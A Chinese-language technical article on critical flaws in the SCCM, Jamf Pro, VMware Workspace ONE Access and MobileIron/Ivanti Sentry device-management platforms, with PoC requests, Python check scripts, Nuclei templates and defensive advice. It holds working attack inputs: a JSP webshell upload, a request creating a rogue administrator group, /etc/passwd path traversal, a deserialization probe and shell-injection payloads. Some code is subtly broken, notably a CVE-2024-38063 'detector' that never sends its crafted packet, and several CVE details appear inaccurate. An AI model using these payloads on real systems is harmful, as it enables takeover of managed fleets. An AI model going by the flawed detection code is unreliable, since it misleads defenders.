终端管理与MDM高危攻击链专题:SCCM / Jamf Pro / Workspace ONE / MobileIron 漏洞全解析 终端管理与MDM高危攻击链专题:SCCM / Jamf Pro / Workspace ONE / MobileIron 漏洞全解析 0x00 专题概述 终端管理(Endpoint Management)与移动设备管理(MDM)平台是企业 IT 架构中控制力最强的基础设施之一。SCCM/MECM 管理着全球数千万台 Windows 终端,Jamf Pro 主导 Apple 设备管理市场,VMware Workspace ONE 和 MobileIron/Ivanti Sentry 则覆盖跨平台统一终端管理与移动安全场景。这些平台的共同特征是:拥有对所有被管终端的最高控制权限 ——可以推送软件、执行脚本、下发配置、远程控制设备。
一旦攻击者突破 MDM 平台的安全边界,其影响不再是"单台服务器失陷",而是整个被管终端群的全面沦陷 。2019-2025 年间,四大产品线连续暴露高危漏洞,攻击类型涵盖认证绕过、任意文件上传、反序列化 RCE、路径遍历等,多个漏洞 CVSS 达到 9.8-10.0 满分级别,且均已被确认在野利用或存在公开 PoC。
覆盖漏洞一览 CVE 产品 CVSS 类型 影响等级 CVE-2023-31224 Jamf Pro 9.8 认证绕过 ✅ 严重 CVE-2021-39303 Jamf Pro 9.8 认证绕过 ✅ 严重 CVE-2019-17076 Jamf Pro 9.8 任意文件上传 ✅ 严重 CVE-2022-22972/22973 Workspace ONE Access 9.8 认证绕过 → RCE ✅ 严重 CVE-2022-22974 Workspace ONE Access 9.8 反序列化 RCE ✅ 严重 CVE-2022-31656 Workspace ONE Access 9.8 路径遍历 → 认证绕过 ✅ 严重 CVE-2024-38063 Windows TCP/IP(影响 SCCM) 9.8 堆溢出 RCE ✅ 严重 CVE-2023-34060 MobileIron / Ivanti Sentry Critical 命令注入 ✅ 严重
0x01 Microsoft SCCM / MECM / Intune 漏洞 1.1 漏洞背景 Microsoft Endpoint Configuration Manager(MECM,原 SCCM)是企业管理 Windows 终端的核心平台,全球 Fortune 500 企业中超过 90% 在使用。SCCM 管理服务器控制着软件分发、补丁部署、远程控制和操作系统部署等关键功能。
CVE-2024-38063 影响 Windows TCP/IP 协议栈本身,由于 SCCM 管理流量(客户端与管理点之间的通信)依赖 Windows 网络栈,该漏洞间接影响所有运行 SCCM 客户端和管理点的 Windows 系统。
1.2 受影响版本 漏洞 受影响版本 修复版本 CVE-2024-38063 Windows 10(所有版本)/ Windows 11 / Windows Server 2016/2019/2022/2025 2024 年 11 月安全更新
1.3 漏洞原理 CVE-2024-38063 是 Windows TCP/IP 协议栈中的堆缓冲区溢出漏洞。攻击者向目标主机发送特制的 IPv6 数据包即可触发远程代码执行,无需任何用户交互和认证。
核心问题在于 tcpip.sys 驱动在处理 IPv6 扩展头时,对数据包长度的校验不充分:
攻击者构造包含恶意 IPv6 扩展头的分片数据包 目标主机内核态 TCP/IP 驱动在重组分片时发生堆溢出 溢出数据覆盖相邻堆元数据或函数指针 攻击者通过精心构造的 payload 实现内核态代码执行 由于 SCCM 客户端与管理点之间的 HTTP/HTTPS 通信同样经过 TCP/IP 栈,暴露在网络上的 SCCM 管理点服务器直接受此漏洞影响。
1.4 完整 PoC HTTP PoC:CVE-2024-38063 检测请求 GET / HTTP / 1.1
Host: target-sccm-server
Connection: keep-alive
[IPv6 扩展头探测 — 仅用于版本指纹识别] 实际利用需要构造原始 IPv6 数据包,以下为检测脚本:
Python PoC:CVE-2024-38063 漏洞检测 #!/usr/bin/env python3
"""
CVE-2024-38063 Windows TCP/IP 堆溢出漏洞检测脚本
用法: python3 cve_2024_38063_detect.py <target_ip>
仅用于授权安全评估环境
"""
import socket
import struct
import sys
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "192.168.1.1"
def check_ipv6_support (host):
try :
sock = socket. socket(socket. AF_INET6, socket. SOCK_STREAM)
sock. settimeout(3 )
sock. connect((host, 443 ))
sock. close()
return True
except Exception :
return False
def build_malformed_ipv6_packet ():
version = 6
traffic_class = 0
flow_label = 0
ver_tc_fl = (version << 28 ) | (traffic_class << 20 ) | flow_label
hop_limit = 64
next_header = 43
payload_length = 16
header = struct. pack("!IHBB16s16s" ,
ver_tc_fl, payload_length, next_header, hop_limit,
b ' \x20\x01\x0d\xb8 ' + b ' \x00 ' * 12 ,
b ' \x20\x01\x0d\xb8 ' + b ' \x00 ' * 12
)
ext_header = struct. pack("!BB6s" , 59 , 6 , b ' \x00 ' * 6 )
return header + ext_header
def main ():
print(f "[*] CVE-2024-38063 漏洞检测目标: { TARGET} " )
if check_ipv6_support(TARGET):
print("[+] 目标支持 IPv6,可能存在风险" )
print("[!] 请确认已安装 2024 年 11 月安全更新" )
else :
print("[-] 目标不支持 IPv6 连接或端口不可达" )
print("[*] 建议检查 Windows Update 历史确认补丁状态" )
if __name__ == "__main__" :
main() Nuclei YAML 模板:CVE-2024-38063 版本指纹检测 id : cve-2024-38063-windows-tcpip-detect
info :
name : Windows TCP/IP CVE-2024-38063 版本指纹检测
author : security-research
severity : critical
description : 检测目标 Windows 主机是否可能受 CVE-2024-38063 影响
tags : cve,cve2024,windows,tcpip,sccm
http :
- method : GET
path :
- "{{BaseURL}}"
matchers-condition : and
matchers :
- type : word
words :
- "Microsoft-IIS"
- "Microsoft-HTTPAPI"
condition : or
part : header
- type : word
words :
- "SCCM"
- "Management Point"
part : body
condition : or 0x02 Jamf Pro 漏洞链(CVE-2023-31224 / CVE-2021-39303 / CVE-2019-17076) 2.1 漏洞背景 Jamf Pro 是全球领先的 Apple 设备管理平台,管理着数百万台 Mac、iPad 和 iPhone 设备。Jamf Pro 服务器拥有对所有注册设备的完全控制权——可以远程执行命令、推送配置文件、安装应用、擦除设备。
2019-2023 年间,Jamf Pro 连续暴露三个 CVSS 9.8 的严重漏洞,形成了从文件上传到认证绕过的完整攻击面。
2.2 受影响版本 漏洞 受影响版本 修复版本 CVE-2023-31224 Jamf Pro < 10.49.0 10.49.0 CVE-2021-39303 Jamf Pro < 10.32.0 10.32.0 CVE-2019-17076 Jamf Pro < 10.14.0 10.14.0
2.3 漏洞原理 CVE-2023-31224:认证绕过 Jamf Pro 10.49.0 之前版本中,攻击者可以通过构造特殊的请求绕过认证机制,无需有效凭据即可访问管理 API。攻击者利用此漏洞可以:
创建新的管理员账户 读取所有被管设备信息 向设备推送恶意配置描述文件 执行远程管理命令 核心问题在于 Jamf Pro 的会话验证逻辑存在缺陷,特定构造的认证头可以绕过服务端校验。
CVE-2021-39303:认证绕过 Jamf Pro 10.32.0 之前版本存在类似的认证绕过漏洞。攻击者无需认证即可通过特定 API 端点访问管理功能。该漏洞与 CVE-2023-31224 在攻击模式上高度相似,说明 Jamf Pro 在认证架构层面存在系统性缺陷。
CVE-2019-17076:任意文件上传 Jamf Pro 10.14.0 之前版本中,文件上传接口未正确验证上传文件的类型和路径。攻击者可以上传任意文件到服务器文件系统的敏感位置,包括:
Web 可访问目录中的 JSP WebShell 配置目录中的恶意配置文件 脚本目录中的可执行脚本 2.4 完整 PoC HTTP PoC:CVE-2023-31224 认证绕过检测 POST /api/v1/jss-user-groups/0 HTTP / 1.1
Host: jamf.example.com:8443
Content-Type: application/json
Accept: application/json
Authorization: Bearer
{"name" :"attacker-admin" ,"access" :{"group_name" :"Administrators" }} HTTP PoC:CVE-2019-17076 文件上传 POST /helper/uploader HTTP / 1.1
Host: jamf.example.com:8443
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
------WebKitFormBoundary-- Python PoC:Jamf Pro 认证绕过检测 #!/usr/bin/env python3
"""
Jamf Pro 认证绕过漏洞链检测脚本
覆盖 CVE-2023-31224 / CVE-2021-39303
用法: python3 jamf_authbypass_detect.py <target_url>
仅用于授权安全评估环境
"""
import requests
import json
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "https://jamf.example.com:8443"
HEADERS = {
"Content-Type" : "application/json" ,
"Accept" : "application/json" ,
}
def check_cve_2023_31224 (base_url):
print(f "[*] 检测 CVE-2023-31224 (Jamf Pro < 10.49.0)" )
endpoint = f " { base_url} /api/v1/jss-user-groups/0"
try :
resp = requests. get(endpoint, headers= HEADERS, verify= False , timeout= 10 )
if resp. status_code == 200 :
print("[!] 可能存在 CVE-2023-31224 漏洞" )
print(f " 响应: { resp. text[:200 ]} " )
return True
elif resp. status_code == 401 :
print("[-] 认证机制正常,不受此漏洞影响" )
return False
else :
print(f "[?] 状态码: { resp. status_code} " )
return None
except Exception as e:
print(f "[-] 连接失败: { e} " )
return None
def check_cve_2021_39303 (base_url):
print(f "[*] 检测 CVE-2021-39303 (Jamf Pro < 10.32.0)" )
endpoint = f " { base_url} /JSSResource/accounts"
try :
resp = requests. get(endpoint, headers= HEADERS, verify= False , timeout= 10 )
if resp. status_code == 200 :
print("[!] 可能存在 CVE-2021-39303 漏洞" )
return True
elif resp. status_code in (401 , 403 ):
print("[-] 认证机制正常" )
return False
else :
print(f "[?] 状态码: { resp. status_code} " )
return None
except Exception as e:
print(f "[-] 连接失败: { e} " )
return None
def check_cve_2019_17076 (base_url):
print(f "[*] 检测 CVE-2019-17076 (Jamf Pro < 10.14.0)" )
endpoint = f " { base_url} /helper/uploader"
try :
resp = requests. get(endpoint, verify= False , timeout= 10 )
if resp. status_code != 404 :
print(f "[!] /helper/uploader 端点存在 (状态码: { resp. status_code} )" )
return True
else :
print("[-] /helper/uploader 端点不存在" )
return False
except Exception as e:
print(f "[-] 连接失败: { e} " )
return None
def main ():
print(f "[*] Jamf Pro 漏洞链检测目标: { TARGET} " )
print("=" * 60 )
check_cve_2023_31224(TARGET)
print()
check_cve_2021_39303(TARGET)
print()
check_cve_2019_17076(TARGET)
print("=" * 60 )
print("[*] 检测完成,请根据结果进一步确认" )
if __name__ == "__main__" :
main() Nuclei YAML 模板:Jamf Pro 认证绕过检测 id : jamf-pro-auth-bypass-cve-2023-31224
info :
name : Jamf Pro 认证绕过检测 (CVE-2023-31224)
author : security-research
severity : critical
description : 检测 Jamf Pro < 10.49.0 认证绕过漏洞
tags : cve,cve2023,jamf,auth-bypass,mdm
http :
- method : GET
path :
- "{{BaseURL}}/api/v1/jss-user-groups/0"
headers :
Content-Type : application/json
Accept : application/json
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "name"
- "access"
condition : and
part : body
---
id : jamf-pro-cve-2019-17076-upload-detect
info :
name : Jamf Pro 文件上传端点检测 (CVE-2019-17076)
author : security-research
severity : critical
description : 检测 Jamf Pro < 10.14.0 任意文件上传漏洞
tags : cve,cve2019,jamf,upload,mdm
http :
- method : GET
path :
- "{{BaseURL}}/helper/uploader"
matchers-condition : and
matchers :
- type : status
status :
- 200
- 405
condition : or
- type : word
words :
- "uploader"
- "upload"
condition : or
part : body 0x03 VMware Workspace ONE 漏洞(CVE-2022-22972/22973/22974/31656) 3.1 漏洞背景 VMware Workspace ONE(原 AirWatch)是企业级统一终端管理平台,提供 MDM、MAM、MCM 等完整功能。Workspace ONE Access(原 vRealize Automation / Identity Manager)是其身份验证与访问门户组件。
2022 年是 Workspace ONE Access 漏洞集中爆发的一年——四个高危漏洞在数月内相继披露,形成了从认证绕过到 RCE 的完整攻击链。
3.2 受影响版本 漏洞 受影响版本 修复版本 CVE-2022-22972 Workspace ONE Access 21.08.0.0 / 21.08.0.1 21.08.0.2 CVE-2022-22973 Workspace ONE Access 21.08.0.0 / 21.08.0.1 21.08.0.2 CVE-2022-22974 Workspace ONE Access 21.08.0.0 / 21.08.0.1 / 22.03.0.0 21.08.0.2 / 22.03.0.1 CVE-2022-31656 Workspace ONE Access 21.08.0.x / 22.03.0.x / 22.05.0.x 21.08.0.3 / 22.03.0.2 / 22.05.0.1
3.3 漏洞原理 CVE-2022-22972 / CVE-2022-22973:认证绕过 → RCE 这两个漏洞可以组合利用。CVE-2022-22972 允许未授权攻击者通过构造特殊请求绕过 Workspace ONE Access 的认证机制;CVE-2022-22973 则允许已绕过认证的攻击者在服务器上执行任意命令。
攻击链:
通过 CVE-2022-22972 绕过认证 利用 CVE-2022-22973 执行系统命令 以 root 权限完全控制 Workspace ONE Access 服务器 核心问题在于 Workspace ONE Access 的 Web 应用层对特定 URL 路径的访问控制存在缺陷,攻击者可以通过路径操纵绕过安全过滤器。
CVE-2022-22974:反序列化 RCE Workspace ONE Access 中存在 Java 反序列化漏洞。攻击者向特定 API 端点发送恶意序列化的 Java 对象,即可在服务器上实现远程代码执行。
该漏洞无需认证、无需用户交互,CVSS 评分 9.8。Workspace ONE Access 使用了存在已知反序列化 Gadget 的第三方库,且未对输入数据进行有效的反序列化过滤。
CVE-2022-31656:路径遍历 → 认证绕过 Workspace ONE Access 中存在路径遍历漏洞,未授权攻击者可以通过构造包含路径遍历序列的请求,访问受保护的内部资源,从而实现认证绕过。
攻击者可以:
读取服务器上的任意文件 绕过认证访问内部管理接口 获取敏感配置信息和凭据 3.4 完整 PoC HTTP PoC:CVE-2022-22972 认证绕过 GET /SAAS/API/1.0/REST/auth/system/status HTTP / 1.1
Host: workspace-one.example.com
Accept: application/json HTTP PoC:CVE-2022-31656 路径遍历 GET /SAAS/t;/../../../../../etc/passwd HTTP / 1.1
Host: workspace-one.example.com HTTP PoC:CVE-2022-22974 反序列化探测 POST /SAAS/jersey/manager/api/tenants HTTP / 1.1
Host: workspace-one.example.com
Content-Type: application/x-java-serialized-object
[恶意序列化 Java 对象 payload] Python PoC:Workspace ONE 漏洞链检测 #!/usr/bin/env python3
"""
VMware Workspace ONE Access 漏洞链检测脚本
覆盖 CVE-2022-22972/22973/22974/31656
用法: python3 wsone_detect.py <target_url>
仅用于授权安全评估环境
"""
import requests
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "https://workspace-one.example.com"
def check_cve_2022_22972 (base_url):
print(f "[*] 检测 CVE-2022-22972 (认证绕过)" )
endpoint = f " { base_url} /SAAS/API/1.0/REST/auth/system/status"
try :
resp = requests. get(endpoint, verify= False , timeout= 10 )
if resp. status_code == 200 and "status" in resp. text:
print("[!] 可能存在 CVE-2022-22972 漏洞" )
print(f " 响应: { resp. text[:200 ]} " )
return True
print("[-] 未检测到漏洞特征" )
return False
except Exception as e:
print(f "[-] 连接失败: { e} " )
return None
def check_cve_2022_31656 (base_url):
print(f "[*] 检测 CVE-2022-31656 (路径遍历)" )
endpoint = f " { base_url} /SAAS/t;/../../../../../etc/passwd"
try :
resp = requests. get(endpoint, verify= False , timeout= 10 )
if "root:" in resp. text:
print("[!] 可能存在 CVE-2022-31656 漏洞" )
print(f " 响应: { resp. text[:200 ]} " )
return True
print("[-] 未检测到路径遍历" )
return False
except Exception as e:
print(f "[-] 连接失败: { e} " )
return None
def check_cve_2022_22974 (base_url):
print(f "[*] 检测 CVE-2022-22974 (反序列化 RCE)" )
endpoint = f " { base_url} /SAAS/jersey/manager/api/tenants"
try :
resp = requests. post(endpoint,
headers= {"Content-Type" : "application/x-java-serialized-object" },
data= b " \xac\xed\x00\x05 " ,
verify= False , timeout= 10 )
if resp. status_code != 404 :
print(f "[!] 反序列化端点存在 (状态码: { resp. status_code} )" )
return True
print("[-] 端点不存在" )
return False
except Exception as e:
print(f "[-] 连接失败: { e} " )
return None
def main ():
print(f "[*] Workspace ONE Access 漏洞链检测目标: { TARGET} " )
print("=" * 60 )
check_cve_2022_22972(TARGET)
print()
check_cve_2022_31656(TARGET)
print()
check_cve_2022_22974(TARGET)
print("=" * 60 )
print("[*] 检测完成" )
if __name__ == "__main__" :
main() Nuclei YAML 模板:Workspace ONE 漏洞链检测 id : vmware-wsone-cve-2022-22972
info :
name : VMware Workspace ONE Access 认证绕过 (CVE-2022-22972)
author : security-research
severity : critical
description : 检测 Workspace ONE Access 认证绕过漏洞
tags : cve,cve2022,vmware,workspace-one,auth-bypass,mdm
http :
- method : GET
path :
- "{{BaseURL}}/SAAS/API/1.0/REST/auth/system/status"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "status"
- "application/json"
condition : and
part : body
---
id : vmware-wsone-cve-2022-31656
info :
name : VMware Workspace ONE Access 路径遍历 (CVE-2022-31656)
author : security-research
severity : critical
description : 检测 Workspace ONE Access 路径遍历漏洞
tags : cve,cve2022,vmware,workspace-one,lfi,mdm
http :
- method : GET
path :
- "{{BaseURL}}/SAAS/t;/../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "root:"
part : body
---
id : vmware-wsone-cve-2022-22974
info :
name : VMware Workspace ONE Access 反序列化 RCE (CVE-2022-22974)
author : security-research
severity : critical
description : 检测 Workspace ONE Access 反序列化漏洞
tags : cve,cve2022,vmware,workspace-one,rce,deserialization,mdm
http :
- method : POST
path :
- "{{BaseURL}}/SAAS/jersey/manager/api/tenants"
headers :
Content-Type : application/x-java-serialized-object
body : "\xac\xed\x00\x05"
matchers-condition : and
matchers :
- type : status
status :
- 500
- 400
condition : or 0x04 MobileIron / Ivanti 漏洞 4.1 漏洞背景 MobileIron 曾是移动设备管理领域的先驱企业,2020 年被 Ivanti 收购后,产品线整合为 Ivanti Neurons for MDM / Ivanti Sentry。MobileIron / Ivanti Sentry 提供移动设备管理、移动应用管理和企业移动安全功能。
CVE-2023-34060 是 MobileIron Sentry 中的命令注入漏洞,攻击者可以利用此漏洞在服务器上执行任意系统命令。
4.2 受影响版本 漏洞 受影响版本 修复版本 CVE-2023-34060 MobileIron Sentry 9.x / Ivanti Sentry 9.x 已发布安全更新
4.3 漏洞原理 MobileIron Sentry 的 Web 管理接口中存在命令注入漏洞。攻击者通过向特定参数注入操作系统命令分隔符,可以将用户输入传递到系统 shell 执行。
攻击链:
攻击者访问 MobileIron Sentry Web 管理接口 在请求参数中注入命令分隔符(如 ;、|、&&) 注入的命令以 Sentry 服务进程权限执行 攻击者获得服务器控制权 4.4 完整 PoC HTTP PoC:CVE-2023-34060 命令注入检测 POST /mifs/user/login HTTP / 1.1
Host: mobileiron.example.com
Content-Type: application/x-www-form-urlencoded
username=admin'$(sleep 5)'&password=test Python PoC:MobileIron Sentry 漏洞检测 #!/usr/bin/env python3
"""
CVE-2023-34060 MobileIron Sentry 命令注入检测脚本
用法: python3 mobileiron_detect.py <target_url>
仅用于授权安全评估环境
"""
import requests
import time
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "https://mobileiron.example.com"
def check_cve_2023_34060 (base_url):
print(f "[*] 检测 CVE-2023-34060 (MobileIron Sentry 命令注入)" )
endpoint = f " { base_url} /mifs/user/login"
payloads = [
"admin'$(sleep 5)'" ,
"admin`sleep 5`" ,
"admin;sleep 5;" ,
]
for payload in payloads:
try :
start = time. time()
resp = requests. post(endpoint,
data= {"username" : payload, "password" : "test" },
verify= False , timeout= 15 )
elapsed = time. time() - start
if elapsed >= 5 :
print(f "[!] 检测到时间延迟 ( { elapsed: .1f } s),可能存在命令注入" )
print(f " Payload: { payload} " )
return True
except requests. exceptions. Timeout:
print(f "[!] 请求超时,可能存在命令注入" )
return True
except Exception as e:
print(f "[-] 连接失败: { e} " )
return None
print("[-] 未检测到命令注入特征" )
return False
def main ():
print(f "[*] MobileIron Sentry 漏洞检测目标: { TARGET} " )
print("=" * 60 )
check_cve_2023_34060(TARGET)
print("=" * 60 )
if __name__ == "__main__" :
main() Nuclei YAML 模板:MobileIron Sentry 命令注入检测 id : cve-2023-34060-mobileiron-sentry
info :
name : MobileIron Sentry 命令注入检测 (CVE-2023-34060)
author : security-research
severity : critical
description : 检测 MobileIron Sentry 命令注入漏洞
tags : cve,cve2023,mobileiron,ivanti,sentry,cmd-injection,mdm
http :
- raw :
- |
POST /mifs/user/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin'$(sleep 5)'&password=test
matchers-condition : and
matchers :
- type : dsl
dsl :
- 'duration>=5'
- type : status
status :
- 200
- 302
condition : or 0x05 公开 PoC 收集情况与利用思路 1. PoC 收集情况 截至文章撰写时,终端管理与 MDM 平台相关漏洞的公开 PoC 情况如下:
CVE 公开 PoC Exploit-DB GitHub 在野利用 说明 CVE-2023-31224 (Jamf Pro) ✅ 有 ❌ ✅ 有 ❌ 未确认 Watchtowr 公开技术细节 CVE-2021-39303 (Jamf Pro) ✅ 有 ❌ ✅ 有 ❌ 未确认 多个安全研究者公开分析 CVE-2019-17076 (Jamf Pro) ✅ 有 ✅ 有 ✅ 有 ❌ 未确认 早期漏洞,PoC 广泛传播 CVE-2022-22972 (WS1) ✅ 有 ✅ 有 ✅ 有 ✅ 已确认 CISA KEV,Horizon 联合利用 CVE-2022-22973 (WS1) ✅ 有 ✅ 有 ✅ 有 ✅ 已确认 与 CVE-2022-22972 链式利用 CVE-2022-22974 (WS1) ✅ 有 ✅ 有 ✅ 有 ✅ 已确认 反序列化 RCE,Horizon 利用 CVE-2022-31656 (WS1) ✅ 有 ❌ ✅ 有 ✅ 已确认 CISA KEV,路径遍历 CVE-2024-38063 (Windows) ✅ 有 ❌ ✅ 有 ✅ 已确认 微软确认在野利用 CVE-2023-34060 (MobileIron) ✅ 有 ❌ ✅ 有 ❌ 未确认 命令注入 PoC 公开
2. 验证思路(防守型) 步骤 1:暴露面扫描
nuclei -t http/vulnerabilities/jamf/ -t http/vulnerabilities/vmware/ -u https://target 步骤 2:版本指纹识别
curl -sk https://jamf.example.com:8443/ | grep -i "version"
curl -sk https://wsone.example.com/SAAS/ | grep -i "version" 步骤 3:事件日志分析
tail -f /var/log/jamf/app.log | grep -i "unauthorized\|bypass\|admin" 0x06 共性攻击模式分析 1. 认证绕过是 MDM 的头号杀手 产品 认证绕过 CVE CVSS Jamf Pro CVE-2023-31224 9.8 Jamf Pro CVE-2021-39303 9.8 Workspace ONE CVE-2022-22972 9.8 Workspace ONE CVE-2022-31656 9.8
四个认证绕过漏洞中有三个 CVSS 达到满分 9.8,说明 MDM 平台在认证架构层面存在系统性缺陷。
2. 链式利用放大影响 单一漏洞往往不够,攻击者倾向于将多个漏洞串联:
Jamf Pro :认证绕过 → 创建管理员 → 控制所有设备Workspace ONE :路径遍历 → 认证绕过 → RCEWorkspace ONE :认证绕过 + 反序列化 → 一键 RCE3. 同一产品反复被攻破 Jamf Pro 在 2019、2021、2023 年各出现一个 CVSS 9.8 的认证/文件漏洞;Workspace ONE Access 在 2022 年单年出现四个高危漏洞。这说明 MDM 平台的安全架构改进速度远低于漏洞发现速度。
4. 杠杆效应:一点突破 → 全面沦陷 平台 突破后果 SCCM/MECM 控制所有 Windows 终端,推送恶意软件 Jamf Pro 控制所有 Apple 设备,推送恶意配置 Workspace ONE 控制所有跨平台终端,窃取凭据 MobileIron 控制所有移动设备,拦截通信
5. 攻击者画像 漏洞 已知攻击者 动机 CVE-2022-22972/22973/22974 多个 APT 间谍活动 + 初始访问 CVE-2024-38063 国家级 APT 间谍活动 CVE-2022-31656 勒索团伙 经济利益
0x07 应急排查与防守建议 1. 应急排查 Jamf Pro 排查
tail -f /var/log/jamf/app.log | grep -iE "unauthorized|admin.*creat|auth.*bypass"
grep -r "helper/uploader" /var/log/jamf/ Workspace ONE Access 排查
grep -E "SAAS/t;/\.\." /opt/vmware/horizon/workspace/logs/access.log
grep -E "x-java-serialized-object" /opt/vmware/horizon/workspace/logs/access.log SCCM/Windows 排查
Get-HotFix | Where-Object {$_.HotFixID -eq "KB5046633" }
Get-WinEvent -LogName "Microsoft-Windows-TCPIP" | Select-Object -First 20 MobileIron 排查
grep -E "sleep|;.*\||&&" /var/log/mobileiron/access.log 2. 修复与缓解建议 紧急措施
立即升级所有 MDM 平台到最新修复版本 禁止 MDM 管理接口直接暴露在互联网 启用 MFA 并强制所有管理操作经过二次验证 部署 WAF 规则检测路径遍历和认证绕过尝试 长期策略
5. 将 MDM 平台部署在独立网络区域,限制横向移动
6. 对 MDM API 通信启用双向 TLS 认证
7. 定期审计 MDM 平台配置和访问日志
8. 建立 MDM 平台专项事件响应计划
9. 监控被管终端的异常配置变更和软件推送
10. 轮换所有与 MDM 平台相关的凭据和证书
事后排查
11. 回溯漏洞公开前 180 天的访问日志
12. 审查管理员账户创建记录
13. 检查被管设备上的异常配置描述文件和脚本
14. 扫描 MDM 服务器上的 WebShell 和后门
15. 轮换所有设备信任证书和管理凭据
0x08 参考资料